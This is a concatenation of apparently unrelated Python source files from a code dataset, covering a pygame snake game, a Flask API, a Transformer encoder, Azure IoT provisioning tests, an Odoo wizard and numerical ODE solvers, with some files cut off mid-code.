\n xVolume = np.linspace(0,innerWall.length,2000)\n volumeIntegrand = np.pi*innerWall.diameter(xVolume)* \\\n thickness.radius(xVolume) + np.pi*thickness.radius(xVolume)**2\n volume = scipy.integrate.trapz(volumeIntegrand,xVolume)\n \n return volume\n \ndef wallVolume2Layer(innerWall,thickness1,thickness2):\n\n xVolume = np.linspace(0,innerWall.length,2000)\n volumeIntegrand = np.pi*innerWall.diameter(xVolume)* \\\n (thickness1.radius(xVolume)+thickness2.radius(xVolume)) + \\\n np.pi*(thickness1.radius(xVolume)+thickness2.radius(xVolume))**2\n volume = scipy.integrate.trapz(volumeIntegrand,xVolume)\n \n return volume\n\n\n","sub_path":"multif/nozzle/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":13947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"350167007","text":"# O arquivo a ser rodado será esse \nimport pygame\nfrom pygame.locals import *\nfrom snake import *\nfrom screen import *\nfrom apple import *\n\n\n\ndef game_intro(intro=True):\n while intro==True:\n screen.gameScreen.fill(screen.white)\n screen.message(\"Welcome\",screen.red, -100,size=\"large\")\n screen.message(\"Hope you like it\",screen.black,-30,\"small\")\n screen.message(\"You Should ear apple to earn points\",screen.black,10)\n screen.message(\"If you run into yourself or run on the edges, you die\",screen.black,50)\n screen.message(\"Press Space to Play the game and Q to quit\",screen.black,180)\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n intro=False\n game.mainLoop()\n if event.key == pygame.K_q:\n pygame.quit()\n quit()\n\nclass Main:\n def mainLoop(self):\n pygame.init()\n gameFalse = False\n gameOver = False\n while not gameFalse:\n while gameOver==True:\n screen.gameScreen.fill(screen.white)\n screen.message(\"Game Over\",screen.red,size=\"medium\")\n screen.message(\"R --- to play again // Q -- to quit.\",screen.black,50,size=\"small\")\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n game.mainLoop()\n elif event.key == pygame.K_q:\n gameOver = False\n gameFalse = True\n elif event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n snake.pos_x_ch -= snake.block\n snake.pos_y_ch = 0\n elif event.key == pygame.K_RIGHT:\n snake.pos_x_ch += snake.block\n snake.pos_y_ch = 0\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_DOWN:\n snake.pos_y_ch -= snake.block\n snake.pos_x = 0\n elif event.key == pygame.K_UP:\n snake.pos_y_ch += snake.block\n snake.pos_x = 0\n elif event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n snake.pos_x += snake.pos_x_ch\n snake.pos_y += snake.pos_y_ch\n \n screen.gameScreen.fill(screen.black)\n pygame.display.update()\n snake.player(1,1)\n pygame.display.update()\n\n if snake.pos_x >= screen.x or snake.pos_x<= snake.block or snake.pos_y >= 800 or snake.pos_y<=0:\n gameOver = True\n \n if snake.pos_x == apple.appleX and snake.pos_x <= apple.appleX + apple.appleS:\n if snake.pos_y == apple.appleY and snake.pos_y <= apple.appleY + apple.appleS:\n apple.appleX\n apple.appleY\n snake.length += 1\n snake.score += 1\n snakeHead = []\n snakeHead.append(snake.pos_x)\n snakeHead.append(snake.pos_y)\n snake.positions.append(snakeHead)\n\n if len(snake.positions) >= snake.length:\n del snake.positions[0]\n \n\n pygame.draw.rect(screen.gameScreen,screen.red,(apple.appleX,apple.appleY,apple.appleS,apple.appleS))\n screen.message(\"Your Score: {}\".format(str(snake.score)),screen.red)\n pygame.display.update()\n snake.clock.tick(snake.FPS)\n \ngame = Main()\ngame_intro()\ngame.mainLoop()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"293909839","text":"for T in range(int(input())):\n N,M,K,a,b=list(map(int,input().split()))\n rcl=list(map(int,input().split()))\n rpl=list(map(int,input().split()))\n tl=list(zip([k+1 for k in range(K)],list(map(int,input().split()))))\n rcinputl=[[0,0] for i in range(N)]\n rpinputl=[[0,0,0] for j in range(M)]\n rcwaiting=[]\n rpwaiting=[]\n ending=[]\n t=0\n while len(ending) | python3 this.py\n#### Input: STDIN \n#### should have at least these columns:\n#### B_Qstart, B_Qend, Qstart, Qend, Seq\n#### Output: STDOUT append 5 columns\n#### pre bait mid prey post\n\n\nimport sys\n\n\nis_headline = True\nfields = []\nfield2idx = {}\nfor line in sys.stdin:\n\tline = line.rstrip('\\r\\n')\n\tF = line.split('\\t')\n\tif is_headline:\n\t\tis_headline = False\n\t\tfields = F\n\t\tfor i,x in enumerate(F):\n\t\t\tfield2idx[x] = i\n\t\tfor now_colname in ['B_Qstart', 'B_Qend', 'Qstart', 'Qend', 'Seq']:\n\t\t\tif now_colname not in field2idx:\n\t\t\t\tprint('Error: cannot find colname \"{}\"'.format(now_colname), file=sys.stderr)\n\t\t\t\tsys.exit(-1)\n\t\toutput_fields = fields\n\t\toutput_fields.extend(['pre', 'bait', 'mid', 'prey', 'post'])\n\t\tprint('\\t'.join(output_fields))\n\t\tcontinue\n\telse:\n\t\tseq = F[field2idx['Seq']]\n\t\tBstart = int(F[field2idx['B_Qstart']])\n\t\tBend = int(F[field2idx['B_Qend']])\n\t\tPstart = int(F[field2idx['Qstart']])\n\t\tPend = int(F[field2idx['Qend']])\n\t\tbait = seq[(Bstart-1):Bend]\n\t\tprey = seq[(Pstart-1):Pend]\n#\t\tif Bstart < Pstart:\n\t\tpre = seq[:(Bstart-1)]\n\t\tmid = seq[Bend:(Pstart-1)]\n\t\tpost = seq[Pend:]\n\t\tif Pstart < Bstart:\n\t\t\tprint('Warning: prey start < bait start ...', file=sys.stderr)\n\t\tF.extend([pre, bait, mid, prey, post])\n\t\tprint('\\t'.join(F))\n\t\t\n","sub_path":"yyx_sequence_segment_tlx.20181221.py","file_name":"yyx_sequence_segment_tlx.20181221.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"260091513","text":"'LeetCode 226 Invert Binary Tree'\r\nclass TreeNode(object):\r\n def __init__(self, x):\r\n self.val = x\r\n self.left = None\r\n self.right = None\r\n\r\nclass Solution(object):\r\n def invertTree(self, root):\r\n \"\"\"\r\n :type root: TreeNode\r\n :rtype: TreeNode\r\n \"\"\"\r\n if root:\r\n root.left, root.right = self.invertTree(root.right), self.invertTree(root.left)\r\n return root\r\n\r\n\r\n\r\n def inorderTravesal(self, root):\r\n result=[]\r\n if root:\r\n result+=self.inorderTravesal(root.left)\r\n result.append(root.val)\r\n # print (root.val,result)\r\n result+=self.inorderTravesal(root.right)\r\n else:\r\n pass\r\n return result\r\n\r\n\r\nif __name__ == '__main__':\r\n s=TreeNode(5)\r\n s21=TreeNode(4)\r\n s22=TreeNode(8)\r\n s.left=s21\r\n s.right=s22\r\n s31=TreeNode(11)\r\n s32=TreeNode(13)\r\n s33=TreeNode(4)\r\n s21.left=s31\r\n s22.left=s32\r\n s22.right=s33\r\n s41=TreeNode(7)\r\n s42=TreeNode(2)\r\n s43=TreeNode(1)\r\n s31.left=s41\r\n s31.right=s42\r\n s33.right=s43\r\n ans=Solution()\r\n str1=str(s21.val)\r\n pp=str1+'->'\r\n p=TreeNode(1)\r\n p21=TreeNode(2)\r\n p22=TreeNode(3)\r\n p31=TreeNode(5)\r\n p.left=p21\r\n p.right=p22\r\n p21.left=p31\r\n # print (ans.invertTree(p))\r\n # t=list(range(1,5))\r\n # t.append(6)\r\n # print (t)\r\n # print (ans.inorderTravesal(p))\r\n t=ans.invertTree(s31)\r\n print (ans.inorderTravesal(t))\r\n\r\n\r\n\r\n\r\n","sub_path":"invert binary tree.py","file_name":"invert binary tree.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"60888856","text":"''' Define the Transformer model '''\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nfrom models.transformer.Modules import BottleLinear as Linear\nfrom models.transformer.Layers import EncoderLayer\nimport time\n\n__author__ = \"Yu-Hsiang Huang\"\n\ndef position_encoding_init(n_position, d_pos_vec):\n ''' Init the sinusoid position encoding table '''\n # n_pos: max_seq + 1, so the position encoding is based on the max sequence length\n # sequences shorter than this will be given less positional changes\n # d_pos_vec: d_word_vec = 512\n \n # keep dim 0 for padding token position encoding zero vector\n position_enc = np.array([\n [pos / np.power(10000, 2*i/d_pos_vec) for i in range(d_pos_vec)]\n if pos != 0 else np.zeros(d_pos_vec) for pos in range(n_position)])\n\n position_enc[1:, 0::2] = np.sin(position_enc[1:, 0::2]) # dim 2i\n position_enc[1:, 1::2] = np.cos(position_enc[1:, 1::2]) # dim 2i+1\n \n # resulting position encoder: [n_pos x d_pos_vec]\n return torch.from_numpy(position_enc).type(torch.FloatTensor)\n\ndef get_attn_padding_mask(seq_q, seq_k):\n ''' Indicate the padding-related part to mask '''\n assert seq_q.dim() == 2 and seq_k.dim() == 2\n mb_size, len_q = seq_q.size()\n mb_size, len_k = seq_k.size()\n pad_attn_mask = seq_k.data.eq(0).unsqueeze(1) # bx1xsk\n pad_attn_mask = pad_attn_mask.expand(mb_size, len_q, len_k) # bxsqxsk\n return pad_attn_mask\n\nclass Encoder(nn.Module):\n ''' A encoder model with self attention mechanism. '''\n\n def __init__(\n self, n_max_seq, n_layers=6, n_head=8, d_k=64, d_v=64,\n d_word_vec=512, d_model=512, d_inner_hid=1024, dropout=0.1):\n\n super(Encoder, self).__init__()\n\n n_position = n_max_seq + 1\n self.n_max_seq = n_max_seq\n self.d_model = d_model\n\n # this Embedding seemingly has vocab size of n_position\n # and embedding dimension of d_word_vec\n self.position_enc = nn.Embedding(n_position, d_word_vec, padding_idx=0)\n self.position_enc.weight.data = position_encoding_init(n_position, d_word_vec)\n\n self.layer_stack = nn.ModuleList([\n EncoderLayer(d_model, d_inner_hid, n_head, d_k, d_v, dropout=dropout)\n for _ in range(n_layers)])\n\n def forward(self, enc_input, tensor):\n # Word embedding look up\n # enc_input: [b x max_len_seq x d_word_vec]\n \n # Position Encoding addition\n src_pos = torch.arange(0,tensor.size(1)).long().unsqueeze(0).expand(tensor.size(0),tensor.size(1))+1\n mask = (tensor>0).long()\n src_pos = src_pos * mask\n src_pos = Variable(src_pos) \n \n enc_input += self.position_enc(src_pos) # [b x max_len_seq x d_word_vec]\n enc_outputs, enc_slf_attns = [], []\n\n enc_output = enc_input\n \n enc_slf_attn_mask = get_attn_padding_mask(enc_input[:,:,0], enc_input[:,:,0]) # [b x max_len x max_len]\n for enc_layer in self.layer_stack:\n enc_output, enc_slf_attn = enc_layer(\n enc_output, slf_attn_mask=enc_slf_attn_mask)\n enc_outputs += [enc_output]\n enc_slf_attns += [enc_slf_attn]\n \n # returns encoder outputs from last attention\n return enc_outputs[-1]","sub_path":"saves/2017-08-29_15-40-38/models/transformer/Models.py","file_name":"Models.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"573086363","text":"import logging\nfrom app import db, app\nfrom models import *\nimport flask\nfrom flask import g, request, abort, redirect, url_for, session, make_response\nimport json\nfrom sqlalchemy import func, or_, distinct, desc\nfrom sqlalchemy.orm import joinedload\nfrom sqlalchemy.orm.exc import NoResultFound\nimport datetime\nfrom operator import itemgetter\nimport re\nimport serializers\nimport sys\nfrom search import Search\nimport math\nfrom flask_security import current_user\nfrom flask_security.decorators import load_user\n\nAPI_HOST = app.config[\"API_HOST\"]\n\n# handling static files (only relevant during development)\napp.static_folder = 'static'\napp.add_url_rule('/static/',\n endpoint='static',\n view_func=app.send_static_file)\n\nlogger = logging.getLogger(__name__)\n\n\nclass ApiException(Exception):\n\n \"\"\"\n Class for handling all of our expected API errors.\n \"\"\"\n\n def __init__(self, status_code, message):\n Exception.__init__(self)\n self.message = message\n self.status_code = status_code\n\n def to_dict(self):\n rv = {\n \"code\": self.status_code,\n \"message\": self.message\n }\n return rv\n\n\ndef get_filter():\n filters = []\n args = flask.request.args.to_dict()\n for key in args:\n if \"filter\" in key:\n fieldname = re.search(\"filter\\[(.*)\\]\", key).group(1)\n if fieldname:\n filters.append({fieldname: args[key]})\n return filters\n\n\n@app.errorhandler(ApiException)\ndef handle_api_exception(error):\n \"\"\"\n Error handler, used by flask to pass the error on to the user, rather than catching it and throwing a HTTP 500.\n \"\"\"\n\n response = flask.jsonify(error.to_dict())\n response.status_code = error.status_code\n response.headers['Access-Control-Allow-Origin'] = \"*\"\n return response\n\n\ndef send_api_response(data_json):\n\n response = flask.make_response(data_json)\n response.headers['Access-Control-Allow-Origin'] = \"*\"\n response.headers['Content-Type'] = \"application/json\"\n return response\n\n\ndef api_resources():\n current_time = datetime.datetime.utcnow()\n return {\n \"committee\": db.session.query(Committee)\n .order_by(Committee.house_id, Committee.name),\n \"committee-meeting\": db.session.query(Event)\n .filter(Event.type == 'committee-meeting')\n .order_by(desc(Event.date)),\n \"bill\": db.session.query(Bill)\n .order_by(desc(Bill.year)),\n \"member\": db.session.query(Member)\n .order_by(Member.name),\n \"hansard\": db.session.query(Hansard)\n .order_by(desc(Hansard.meeting_date)),\n \"briefing\": db.session.query(Briefing)\n .order_by(desc(Briefing.briefing_date)),\n \"question_reply\": db.session.query(QuestionReply)\n .order_by(desc(QuestionReply.start_date)),\n \"schedule\": db.session.query(Schedule)\n .order_by(desc(Schedule.meeting_date))\n .filter(Schedule.meeting_date >= current_time),\n \"tabled_committee_report\": db.session.query(TabledCommitteeReport)\n .order_by(desc(TabledCommitteeReport.start_date)),\n \"call_for_comment\": db.session.query(CallForComment)\n .order_by(desc(CallForComment.start_date)),\n \"policy_document\": db.session.query(PolicyDocument)\n .order_by(desc(PolicyDocument.start_date)),\n \"gazette\": db.session.query(Gazette)\n .order_by(desc(Gazette.start_date)),\n \"featured\": db.session.query(Featured)\n .order_by(desc(Featured.start_date)),\n \"daily_schedule\": db.session.query(DailySchedule)\n .order_by(desc(DailySchedule.start_date)),\n }\n\n# -------------------------------------------------------------------\n# API endpoints:\n#\n\n@app.route('/search/')\ndef search():\n \"\"\"\n Search through ElasticSearch\n \"\"\"\n\n search = Search()\n filters = {}\n logger.debug(\"Search args: %s\" % request.args)\n q = request.args.get('q')\n page = 0\n if (request.args.get('page')):\n page = int(request.args.get('page'))\n per_page = app.config['RESULTS_PER_PAGE']\n if (request.args.get('per_page')):\n per_page = int(request.args.get('per_page'))\n filters[\"start_date\"] = request.args.get('filter[start_date]')\n filters[\"end_date\"] = request.args.get('filter[end_date]')\n filters[\"type\"] = request.args.get('filter[type]')\n filters[\"committee\"] = request.args.get('filter[committee]')\n searchresult = search.search(\n q,\n per_page,\n page * per_page,\n content_type=filters[\"type\"],\n start_date=filters[\"start_date\"],\n end_date=filters[\"end_date\"],\n committee=filters[\"committee\"])\n bincounts = search.count(q)\n\n result = {}\n result[\"result\"] = searchresult[\"hits\"][\"hits\"]\n result[\"count\"] = searchresult[\"hits\"][\"total\"]\n result[\"max_score\"] = searchresult[\"hits\"][\"max_score\"]\n result[\"bincount\"] = {}\n result[\"bincount\"][\"types\"] = bincounts[\n 0][\"aggregations\"][\"types\"][\"buckets\"]\n result[\"bincount\"][\"years\"] = bincounts[\n 1][\"aggregations\"][\"years\"][\"buckets\"]\n logger.debug(\"Pages %i\", math.ceil(result[\"count\"] / per_page))\n\n if result[\"count\"] > (page + 1) * per_page:\n result[\"next\"] = flask.request.url_root + \"search/?q=\" + q + \\\n \"&page=\" + str(page + 1) + \"&per_page=\" + str(per_page)\n result[\"last\"] = flask.request.url_root + \"search/?q=\" + q + \"&page=\" + \\\n str(int(math.ceil(result[\"count\"] / per_page))) + \"&per_page=\" + str(per_page)\n result[\"first\"] = flask.request.url_root + \"search/?q=\" + \\\n q + \"&page=0\" + \"&per_page=\" + str(per_page)\n return json.dumps(result)\n\n\n@app.route('/hitlog/', methods=['GET', 'POST'])\ndef hitlog():\n \"\"\"\n Records a hit from the end-user. Should be called in a non-blocking manner\n \"\"\"\n logger.debug(\"caught a hit\")\n hitlog = HitLog(\n ip_addr=flask.request.form[\"ip_addr\"],\n user_agent=flask.request.form[\"user_agent\"],\n url=flask.request.form[\"url\"])\n db.session.add(hitlog)\n db.session.commit()\n\n return \"\"\n\n\n@app.route('//', )\n@app.route('///', )\n@load_user('token', 'session')\ndef resource_list(resource, resource_id=None):\n \"\"\"\n Generic resource endpoints.\n \"\"\"\n\n base_query = api_resources().get(resource)\n if not base_query:\n raise ApiException(400, \"The specified resource type does not exist.\")\n\n # validate paging parameters\n page = 0\n per_page = app.config['RESULTS_PER_PAGE']\n if flask.request.args.get('page'):\n try:\n page = int(flask.request.args.get('page'))\n except ValueError:\n raise ApiException(422, \"Please specify a valid 'page'.\")\n # if flask.request.args.get('filter'):\n filters = get_filter()\n if (len(filters)):\n for f in filters:\n base_query = base_query.filter_by(**f)\n if resource_id:\n try:\n queryset = base_query.filter_by(id=resource_id).one()\n count = 1\n except NoResultFound:\n raise ApiException(404, \"Not found\")\n else:\n queryset = base_query.limit(per_page).offset(page * per_page).all()\n count = base_query.count()\n next = None\n if count > (page + 1) * per_page:\n next = flask.request.url_root + resource + \"/?page=\" + str(page + 1)\n out = serializers.queryset_to_json(\n queryset,\n count=count,\n next=next,\n current_user=current_user)\n return send_api_response(out)\n\n\n@app.route('/', )\n@load_user('token', 'session')\ndef landing():\n \"\"\"\n List available endpoints.\n \"\"\"\n\n out = {'endpoints': []}\n for resource in api_resources().keys():\n out['endpoints'].append(API_HOST + resource)\n if current_user and current_user.is_active():\n try:\n out['current_user'] = serializers.to_dict(current_user)\n except Exception:\n logger.exception(\"Error serializing current user.\")\n pass\n return send_api_response(json.dumps(out, indent=4))\n","sub_path":"backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"313559358","text":"# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\nimport pytest\nfrom azure.iot.device.provisioning.security.sk_security_client import SymmetricKeySecurityClient\nfrom azure.iot.device.provisioning.transport.state_based_mqtt_provider import StateBasedMQTTProvider\nfrom azure.iot.device.provisioning.sk_provisioning_device_client import (\n SymmetricKeyProvisioningDeviceClient,\n)\nfrom azure.iot.device.provisioning.provisioning_device_client_factory import (\n create_from_security_client,\n)\n\nfake_symmetric_key = \"Zm9vYmFy\"\nfake_registration_id = \"MyPensieve\"\nfake_id_scope = \"Enchanted0000Ceiling7898\"\n\nxfail_notimplemented = pytest.mark.xfail(raises=NotImplementedError, reason=\"Unimplemented\")\n\n\n@pytest.fixture\ndef provisioning_host():\n return \"fakehost.com\"\n\n\n@pytest.fixture\ndef security_client():\n return SymmetricKeySecurityClient(\"fake_registration_id\", \"fake_symmetric_key\", \"fake_id_scope\")\n\n\n@pytest.mark.it(\"creates provisioning client\")\n@pytest.mark.parametrize(\n \"protocol,expected_transport\",\n [\n pytest.param(\"mqtt\", StateBasedMQTTProvider, id=\"mqtt\"),\n pytest.param(\"amqp\", None, id=\"amqp\", marks=xfail_notimplemented),\n pytest.param(\"http\", None, id=\"http\", marks=xfail_notimplemented),\n ],\n)\ndef test_create_from_security_provider_instantiates_client(\n provisioning_host, security_client, protocol, expected_transport\n):\n client = create_from_security_client(provisioning_host, security_client, protocol)\n assert isinstance(client, SymmetricKeyProvisioningDeviceClient)\n # assert client.on_registration_complete is None\n\n\n@pytest.mark.it(\"raises error if it is not symmetric security client\")\ndef test_raises_when_client_created_from_security_provider_with_not_symmetric_security():\n with pytest.raises(\n ValueError, match=\"A symmetric key security provider must be provided for MQTT\"\n ):\n not_symmetric_security_client = NonSymmetricSecurityClientTest()\n create_from_security_client(provisioning_host, not_symmetric_security_client, \"mqtt\")\n\n\nclass NonSymmetricSecurityClientTest(object):\n def __init__(self):\n self.registration_id = fake_registration_id\n self.id_scope = fake_id_scope\n","sub_path":"azure-iot-device/tests/provisioning/test_registration_client_factory.py","file_name":"test_registration_client_factory.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"309637258","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError\n\n\nclass CreateContactDocument(models.TransientModel):\n _name = 'contact.document'\n _description = 'Create documents for contacts wizard'\n\n document_number = fields.Char(\n string='Document Number',\n required=True)\n\n issue_date = fields.Date(\n string='Issue Date',\n required=True)\n expiry_date = fields.Date(\n string='Expiry Date',\n required=False)\n contact_id = fields.Many2one(\n comodel_name='res.partner',\n string='Contact',\n required=False)\n\n attachment_ids = fields.Many2many(comodel_name=\"ir.attachment\",\n relation=\"ebs_mod_m2m_ir_contact_document\",\n column1=\"m2m_id\",\n column2=\"attachment_id\",\n string=\"File\"\n )\n desc = fields.Text(\n string=\"Description\",\n required=False)\n\n document_type_id = fields.Many2one(\n comodel_name='document.types',\n string='Document Type',\n required=True)\n\n tags = fields.Many2many(\n comodel_name='documents.tag',\n relation=\"ebs_mod_m2m_ir_contact_document_tags\",\n column1=\"m2m_id\",\n column2=\"tag_id\",\n string='Tags')\n\n related_employee = fields.Many2one(\n comodel_name='hr.employee',\n string='Related Employee')\n\n def create_document(self):\n folder = self.env['documents.folder'].search([('is_default_folder', '=', True)], limit=1)\n if len(self.attachment_ids) == 0 or len(self.attachment_ids) > 1:\n raise ValidationError(_(\"Select 1 File\"))\n attachment = self.attachment_ids[0]\n # attachment.write({'res_model':})\n attachment.write(\n {'res_model': self._context.get('active_model'), 'res_id': self._context.get('active_id')})\n\n vals = {\n 'document_type_id': self.document_type_id.id,\n 'document_number': self.document_number,\n 'issue_date': self.issue_date.strftime(\"%Y-%m-%d\"),\n 'desc': self.desc,\n 'tag_ids': self.tags,\n 'attachment_id': attachment.id,\n 'related_employee': self.related_employee.id,\n 'type': 'binary',\n 'folder_id': folder.id\n }\n if self.env.context.get('upload_contact', False):\n vals['partner_id'] = self.contact_id.id\n\n if self.expiry_date:\n vals['expiry_date'] = self.expiry_date.strftime(\"%Y-%m-%d\")\n doc = self.env['documents.document'].search([('attachment_id', '=', attachment.id)])\n if doc:\n doc.write(vals)\n else:\n self.env['documents.document'].create(vals)\n self.env.cr.commit()\n","sub_path":"hr_appraisal_feedback/wizards/create_feedback_request.py","file_name":"create_feedback_request.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"240763802","text":"import numpy\nimport copy\nimport matplotlib.pyplot as plt\nimport decimal\nimport scipy.special\n\nclass SimpleFunction:\n\tdef __init__(self):\n\t\tself.x = []\n\t\tself.y = []\n\tdef add(self, x_0, y_0):\n\t\tif x_0 in self.x:\n\t\t\traise Exception(\"simple function argument \" + str(x_0) + \" is already present\")\n\t\tself.x.append(x_0)\n\t\tself.y.append(y_0)\n\tdef point(self, k):\n\t\treturn [self.x[k], self.y[k]]\n\tdef point_str(self, k):\n\t\treturn \"y(\" + str(self.x[k]) + \") = \" + str(self.y[k][0])\n\t\t\n# ______________________________________\n# COSINE FUNCTION FOR ARBITRARY PRECISION NUMBER (DECIMAL TYPE)\n# FROM PYTHON DOCS (SRC: DOC.PYTHON.COM)\n\ndef cos_dec(x):\n \"\"\"Return the cosine of x as measured in radians.\n\n >>> print cos(Decimal('0.5'))\n 0.8775825618903727161162815826\n >>> print cos(0.5)\n 0.87758256189\n >>> print cos(0.5+0j)\n (0.87758256189+0j)\n\n \"\"\"\n decimal.getcontext().prec += 2\n i, lasts, s, fact, num, sign = 0, 0, 1, 1, 1, 1\n while s != lasts:\n lasts = s\n i += 2\n fact *= i * (i-1)\n num *= x * x\n sign *= -1\n s += num / fact * sign\n decimal.getcontext().prec -= 2\n return +s\t\t\n\n\t\n# LAMBERT W FUNCTION ALIAS\n\ndef lambert(x):\n\treturn scipy.special.lambertw(x).real\n\t\n# ______________________________________\t\t\n# EULER & RK\n\ndef euler(x_0, y_0, h, n, f):\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = SimpleFunction()\n\tx = numpy.array(x_0)\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\tfor i in range(n):\n\t\ty = y + h*F(x, y) # y = [_y + h * F(x,y) for _y in y]\n\t\tx = x + h\n\t\tresult.add(x,y)\n\treturn result\n\t\ndef solve_equation(f, x_0, n, eps): # steffensen\n\tx = x_0\n\tfor i in range(n):\n\t\tif f(x)[0] < eps:\n\t\t\treturn x\n\t\tdelta1 = (f(x))*(f(x))\n\t\tdelta2 = f(x + f(x)) - f(x)\n\t\tdelta = delta1 / delta2\n\t\tx = x-delta\n\treturn x\n\ndef euler_implicit(x_0, y_0, h, n, f):\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = SimpleFunction()\n\tx = numpy.array(x_0)\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\tfor i in range(n):\n\t\ty_predicted = y + h*F(x, y) # y = [_y + h * f(x,y) for _y in y] \n\t\tcanonical = lambda y1: y1 - y - h*F(x+h, y1)\n\t\t\n\t\tx = x + h\n\t\ty = solve_equation(canonical, y_predicted, 20, 0.000001) #y_{n+1} = y_n + hf(x_{n+1}, y_{n+1})\n\t\tresult.add(x,y)\n\treturn result\n\t\ndef rk2(x_0, y_0, h, n, f):\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = SimpleFunction()\n\tx = x_0\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\tfor i in range(n):\n\t\tF1 = h*F(x, y) #y = [_y + h * f(x,y) for _y in y]\n\t\tF2 = h*F(x + h, y + F1)\n\t\tx = x + h\n\t\ty = y + (F1 + F2)/2 # y = [_y + h * f(x,y) for _y in y]\n\t\tresult.add(x,y)\n\treturn result\n\t\ndef rk4(x_0, y_0, h, n, f): #x0 in R .. y0 in R^d\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = SimpleFunction()\n\tx = x_0\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\tfor i in range(n):\n\t\tF1 = h*F(x, y) #y = [_y + h * f(x,y) for _y in y]\n\t\tF2 = h*F(x + h/2, y + F1/2)\n\t\tF3 = h*F(x + h/2, y + F2/2)\n\t\tF4 = h*F(x +h, y + F3)\n\t\tx = x + h\n\t\ty = y + (F1 + 2*F2 + 2*F3 + F4)/6 # y = [_y + h * f(x,y) for _y in y]\n\t\tresult.add(x,list(y))\n\treturn result\n\t\ndef rk5(x_0, y_0, h, n, f): #x0 in R .. y0 in R^d\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = SimpleFunction()\n\tx = x_0\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\tfor i in range(n):\n\t\tif isinstance(x,float):\n\t\t\tprint(x)\n\t\tF1 = h*F(x, y) #y = [_y + h * f(x,y) for _y in y]\n\t\tF2 = h*F(x + h/2, y + F1/2)\n\t\tF3 = h*F(x + h/2, y + (F1/4) + (F2/4))\n\t\tF4 = h*F(x + h, y - F2 + (2*F3))\n\t\tF5 = h*F(x + (2*h/3), y + (7*F1 + 10*F2 + F4)/27)\n\t\tF6 = h*F(x + h/5, y + (28*F1 - 125*F2 + 546*F3 + 54*F4 - 378*F5)/625)\n\t\tx = x + h\n\t\ty = y + (14*F1 + 35*F4 + 162*F5 + 125*F6)/336 # y = [_y + h * f(x,y) for _y in y]\n\t\tresult.add(x,list(y))\n\treturn result\n\n# ______________________________________\n# AB & AM's\n\ndef bashfort_moulton2(x_0, y_0, h, n, f, apply_moulton_correction):\n\tif n <= 2:\n\t\treturn rk2(x_0, y_0, h, n, f)\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = rk2(x_0, y_0, h, 2, f)\n\t\n\tx_back = result.x[1:]\n\ty_back = result.y[1:]\n\t\n\tx = x_back[1]\n\ty = y_back[1]\n\tfor i in range(1, n-1):\n\t\t# adams bashfort\n\t\tF1 = 3*F(x_back[1], y_back[1])\n\t\tF2 = -F(x_back[0], y_back[0])\n\t\tx = x + h\n\t\ty = y + h*(F1+F2)/2\n\t\t\n\t\tif apply_moulton_correction:\n\t\t\tF0 = F(x,y)\n\t\t\tF1 = F(x_back[1], y_back[1])\n\t\t\ty = y_back[1] + h*(F0+F1)/2\n\t\tresult.add(x,y)\n\t\t\n\t\tx_back[0] = x_back[1]\n\t\tx_back[1] = x\t\n\t\t\n\t\ty_back[0] = y_back[1]\t\n\t\ty_back[1] = y\n\t\t\n\treturn result\n\ndef ab2(x_0, y_0, h, n, f ):\n\treturn bashfort_moulton2(x_0, y_0, h, n, f, False)\n\ndef am2(x_0, y_0, h, n, f):\n\treturn bashfort_moulton2(x_0, y_0, h, n, f, True)\n\t\ndef bashfort_moulton4(x_0, y_0, h, n, f, apply_moulton_correction):\n\tif n <= 4:\n\t\treturn rk4(x_0, y_0, h, n, f)\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = rk4(x_0, y_0, h, 4, f)\n\t\n\tx_back = result.x[1:]\n\ty_back = result.y[1:]\n\t\n\tx = x_back[3]\n\ty = y_back[3]\n\tfor i in range(3, 